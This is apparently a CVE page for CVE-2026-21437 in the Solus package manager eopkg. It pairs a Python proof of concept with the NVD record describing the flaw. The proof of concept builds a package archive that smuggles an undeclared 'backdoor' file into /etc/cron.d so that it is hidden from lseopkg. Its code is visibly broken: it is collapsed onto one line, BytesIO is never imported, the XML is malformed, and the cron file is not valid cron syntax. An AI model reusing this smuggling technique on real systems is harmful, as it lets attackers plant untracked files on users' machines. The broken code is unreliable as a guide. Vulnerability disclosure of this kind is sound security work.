CVE-2026-21437

# CVE-2026-21437 PoC - Malicious eopkg package with untracked files # This PoC demonstrates how a malicious package can include files not tracked by eopkg # Reference: https://github.com/getsolus/eopkg/commit/e7694323ed64e08b5b4b108fff273c64125cd39d import os import tarfile import xml.etree.ElementTree as ET def create_malicious_package(): """ Create a malicious eopkg with untracked files The package.xml will only declare some files, but actual archive contains additional hidden files """ # Package metadata - only declares legitimate files package_xml = '''<?xml version="1.0" encoding="utf-8"?> <Package name="fake-package" version="1.0.0" release="1"> <Summary>Legitimate package description</Summary> <Description>A seemingly harmless package</Description> <Maintainer>Attacker <[email protected]></Maintainer> <License>GPL-3.0</License> <IsA>package</IsA> <PartOf>system.base</PartOf> <RuntimeDependencies/> <Files> <File>/usr/bin/legitimate-binary"> <Type>executable</Type> </File> </Files> </Package>''' # Create package archive with additional untracked files with tarfile.open('malicious.eopkg', 'w') as tar: # Add package metadata info = tarfile.TarInfo(name='install/package.xml') info.size = len(package_xml.encode()) tar.addfile(info, file=BytesIO(package_xml.encode())) # Add legitimate file (tracked) legitimate_file = b'#!/bin/bash\necho "Legitimate tool"' info = tarfile.TarInfo(name='install/usr/bin/legitimate-binary') info.size = len(legitimate_file) tar.addfile(info, file=BytesIO(legitimate_file)) # Add untracked malicious file (NOT declared in package.xml) # This file will be installed but not tracked by eopkg malicious_file = b'#!/bin/bash\n# Hidden backdoor - not tracked by lseopkg\nrm -f /tmp/.hidden_payload && /bin/bash' info = tarfile.TarInfo(name='install/etc/cron.d/malicious-backdoor') info.size = len(malicious_file) tar.addfile(info, file=BytesIO(malicious_file)) print('[+] Malicious package created: malicious.eopkg') print('[+] The backdoor file will not appear in lseopkg listings') # Vulnerable eopkg versions: < 4.4.0 # Fixed version: 4.4.0+ # Reference: https://github.com/getsolus/eopkg/releases/tag/v4.4.0

{"cve": {"id": "CVE-2026-21437", "sourceIdentifier": "[email protected]", "published": "2026-01-01T18:15:41.347", "lastModified": "2026-03-04T21:31:50.400", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "eopkg is a Solus package manager implemented in python3. In versions prior to 4.4.0, a malicious package could include files that are not tracked by `eopkg`. This requires the installation of a package from a malicious or compromised source. Files in such packages would not be shown by `lseopkg` and related tools. The issue has been fixed in v4.4.0. Users only installing packages from the Solus repositories are not affected."}, {"lang": "es", "value": "eopkg es un gestor de paquetes de Solus implementado en python3. En versiones anteriores a la 4.4.0, un paquete malicioso podría incluir archivos que no son rastreados por 'eopkg'. Esto requiere la instalación de un paquete de una fuente maliciosa o comprometida. Los archivos en dichos paquetes no serían mostrados por 'lseopkg' y herramientas relacionadas. El problema ha sido solucionado en la v4.4.0. Los usuarios que solo instalan paquetes de los repositorios de Solus no se ven afectados."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:L/AC:L/AT:P/PR:H/UI:A/VC:N/VI:L/VA:N/SC:N/SI:L/SA:H/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 2.0, "baseSeverity": "LOW", "attackVector": "LOCAL", "attackComplexity": "LOW", "attackRequirements": "PRESENT", "privilegesRequired": "HIGH", "userInteraction": "ACTIVE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "LOW", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "LOW", "subAvailabilityImpact": "HIGH", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-353"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:getsol:eopkg:*:*:*:*:*:python:*:*", "versionEndExcluding": "4.4.0", "matchCriteriaId": "1E0EA986-0572-494D-A971-C2071C7E153A"}]}]}], "references": [{"url": "https://github.com/getsolus/eopkg/commit/e7694323ed64e08b5b4b108fff273c64125cd39d", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/getsolus/eopkg/pull/201", "source": "[email protected]", "tags": ["Issue Tracking", "Patch"]}, {"url": "https://github.com/getsolus/eopkg/releases/tag/v4.4.0", "source": "[email protected]", "tags": ["Product", "Release Notes"]}, {"url": "https://github.com/getsolus/eopkg/security/advisories/GHSA-hjp7-qwrj-6cc6", "source": "[email protected]", "tags": ["Patch", "Vendor Advisory"]}]}}